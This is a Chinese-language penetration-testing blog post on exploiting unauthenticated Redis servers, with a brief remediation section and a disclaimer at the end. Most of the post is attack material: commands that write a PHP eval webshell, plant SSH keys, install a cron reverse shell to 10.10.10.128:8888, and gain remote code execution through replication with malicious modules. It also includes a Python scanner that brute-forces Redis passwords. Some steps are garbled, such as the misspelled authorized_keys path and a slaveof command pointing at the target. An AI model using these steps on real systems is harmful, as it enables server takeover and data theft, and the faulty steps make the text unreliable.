文章源地址:Redis-未授权访问漏洞 – why403
Redis未授权访问漏洞是一个严重的安全问题,它允许未经身份验证的用户访问Redis服务器并执行各种操作,这可能导致数据泄露、数据损坏甚至服务器被恶意控制。以下是关于Redis未授权访问漏洞的详细介绍和利用方法。
影响版本:Redis 4.x/5.x 及以下版本。
原理
Redis是一个开源的键值存储系统,通常用作数据库、缓存和消息代理。在默认情况下,Redis会监听在6379端口上,如果没有设置密码认证(通常为空),那么任何能够访问该端口的用户都可以执行Redis命令,包括读取、写入数据和执行管理操作。
利用
redis-cli -h ip -p prot // 连接redis数据库
写入webshell
条件:对web服务目录具有写权限
redis-cli -h 10.10.10.1 //连接redis
config set dir /var/www/html/ //设置数据库目录
config set dbfilename shell.php //设置数据库文件
set xxx “<?php eval($_GET[‘cmd’]);?>”
save
添加ssh公钥
条件:对/root/.ssh/authorlized_keys文件有写权限
ssh-keygen -t rsa//生成ssh密钥-t指定加密类型
cat rsa.txt.pub | redis-cli -h 10.10.10.1 set xxx //将公钥添加进redis
redis-cli -h 10.10.10.1 config set dir /root/.ssh //设置数据库目录
redis-cli -h 10.10.10.1 config set dbfilename authorlized_keys //设置数据库文件
save //保存
sudo ssh -i ./rsa.txt.pub [email protected]
添加自动任务执行反弹shell
条件:对计划任务文件有写权限
redis-cli -h 10.10.10.1 //连接redis
config set dir /var/spool/cron/crontabs //设置数据库目录
config set dbfilename root //设置数据库文件
set xxx “\n\n* * * * * /bin/bash -i>&/dev/tcp/10.10.10.128/8888 0>&1\n\n”
save //保存进数据库文件
添加自动任务后在本地建立监听
nc -lvnp 8888
注意:
前面五个星号分别表示 分 时 天 月 周一般用于具体的定时时间。后面就是执行的命令。/var/spool/cron/crontabs/root
是一个在Unix和类Unix操作系统中用于存储root用户crontab文件的路径2。crontab是一个用于设置周期性被执行的任务的工具,它允许用户安排在特定时间或周期性地执行脚本和命令
这里也可以写入 /etc/crontab文件
利用Redis主从复制GetShell:
该方法可以用于任何获取到redis登录权限的GetShell
redis主从复制是什么
Redis 主从复制是 Redis 提供的一种数据备份和分片机制,它允许一个或多个从服务器(slave)复制和同步一个主服务器(master)的数据。这种机制在 Redis 中用于提高数据的可靠性、可用性和可扩展性。
以下是 Redis 主从复制的一些关键特性和用途:
- 数据备份:通过主从复制,可以将主服务器的数据复制到一个或多个从服务器上,这样即使主服务器发生故障,从服务器也可以作为备用服务器使用,从而保证数据的安全性。
- 读写分离:在主从复制架构中,所有的写操作都在主服务器上执行,而读操作可以在从服务器上进行。这样可以分散读请求,减轻主服务器的压力,提高系统的吞吐量。
- 负载均衡:通过在多个从服务器之间分配读请求,可以实现负载均衡,进一步提高系统的处理能力。
- 数据分片:在 Redis 集群中,主从复制可以用于数据分片,每个分片可以有一个主节点和多个从节点,这样可以在多个节点之间分散数据,提高数据的可用性和容错能力。
- 故障转移:在主服务器发生故障时,从服务器可以接管服务,成为新的主服务器,从而实现故障转移。这通常通过手动或自动的故障转移机制来完成。
- 数据同步:从服务器会持续同步主服务器的数据,确保数据的一致性。在主服务器上进行的任何更改都会很快地复制到从服务器上。
- 可扩展性:通过增加更多的从服务器,可以水平扩展 Redis 的读能力,从而支持更多的并发用户和更大的数据量。
Redis 主从复制的配置相对简单,通常在 Redis 配置文件中设置 slaveof <master-ip> <master-port>
指令即可启动复制过程。
原理:在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。攻击者通过在Redis服务器上执行特定的命令,利用主从复制的机制,使得从服务器加载一个恶意的共享对象(SO文件),从而在从服务器上执行任意代码,包括反弹Shell。
实现步骤
- 配置主从复制:攻击者需要配置Redis实例之间的主从复制关系。这通常通过发送
SLAVEOF <master-ip> <master-port>
命令到从服务器来完成,使从服务器连接到攻击者控制的主服务器。 - 上传恶意SO文件:攻击者需要上传一个恶意的SO文件到主服务器。这个文件将包含用于创建反弹Shell的代码。上传可以通过Redis的
MODULE LOAD
命令完成。 - 配置从服务器加载恶意SO文件:攻击者通过发送
CONFIG SET module-load
命令到从服务器,使其在下一次重新加载配置时执行恶意SO文件。 - 触发SO文件执行:攻击者可以通过发送
COMMAND
命令到从服务器,触发恶意SO文件中的代码执行,从而在从服务器上打开一个反弹Shell。 - 建立反向连接:攻击者在主服务器上监听一个端口,等待从服务器通过Redis命令触发的反弹Shell连接到这个端口,从而建立一个反向Shell连接。
- 获取Shell访问:一旦反向Shell连接建立,攻击者就可以通过这个Shell访问从服务器,执行任意命令。
一、准备可以执行命令的恶意模块:
RedisModules-ExecuteCommand是一个可以执行命令的redis模块
git clone https://github.com/gysf666/RedisModules-ExecuteCommand.git //下载模块
make //编译模块
二、准备一个服务端向从设备提供恶意模块
我们用一个自动化的工具redis-rce来模拟上述实现步骤
用到的工具
git clone https://github.com/Ridter/redis-rce.git
工具的使用帮助
python redis-rce.py -r 10.10.10.1 -p 6379 -L 10.10.10.128 -P 7777 -f ./module.so // -r 指定目标主机 -p 指定目标端口 -L指定监听主机 -P 指定监听端口
运行之后在redis上设置主设备到攻击机
redis-cli -h 10.10.10.1 -p 6379
slaveof 10.10.10.1 7777
成功获取主机shell
python 自动化检测redis未授权访问漏洞
# 测试弱口令和未授权访问
import socket
import sys
pwdFile='./rockyou.txt'
# host格式10.10.10.1:6379
HOSTFile='./host.txt'
def check_unAuth(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("INFO\r\n")
result = s.recv(1024)
if "redis_version" in result:
return u"[+]存在未授权访问漏洞"
elif "Authentication" in result:
return u""
except Exception as e:
pass
def check_week(ip,port,timeout):
try:
f=open(pwdFile,'r')
password=f.readline()
while password:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %s\r\n" %(password))
result = s.recv(1024)
if '+OK' in result:
return u"存在弱口令,密码:%s" % (password)
password=f.readline()
except Exception as e:
pass
if __name__ == '__main__':
host_f=open(HOSTFile,'r')
host=host_f.readline()
while host:
ip=host.split(":")[0]
port=host.split(":")[1]
if port == '':
port='6379'
print(check_unAuth(ip,port, timeout=10))
print(check_week(ip,port, timeout=10))
host=host_f.readline()#! /usr/bin/env python
# _*_ coding:utf-8 _*_
# 测试弱口令和未授权访问
import socket
import sys
pwdFile='./rockyou.txt'
def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("INFO\r\n")
result = s.recv(1024)
if "redis_version" in result:
return u"未授权访问"
elif "Authentication" in result:
f=open(pwdFile,'r')
password=f.readline()
while password:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %s\r\n" %(password))
result = s.recv(1024)
if '+OK' in result:
return u"存在弱口令,密码:%s" % (password)
password=f.readline()
except Exception as e:
pass
if __name__ == '__main__':
ip=sys.argv[1]
port=sys.argv[2]
print(check(ip,port, timeout=10))
漏洞修复
为了修复Redis未授权访问漏洞,可以采取以下措施:
- 设置密码认证:在Redis配置文件中启用
requirepass
选项,并设置一个强密码。 - 限制访问:修改
bind
配置,只允许信任的IP地址访问Redis服务。 - 使用安全通信:通过SSL/TLS加密Redis客户端和服务器之间的通信。
- 监控和日志记录:开启Redis的日志记录功能,监控可疑的访问和操作。
- 及时更新:保持Redis版本更新,以修复已知的安全漏洞。
通过上述措施,可以有效地减少Redis未授权访问漏洞的风险,保护服务器和数据的安全。
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)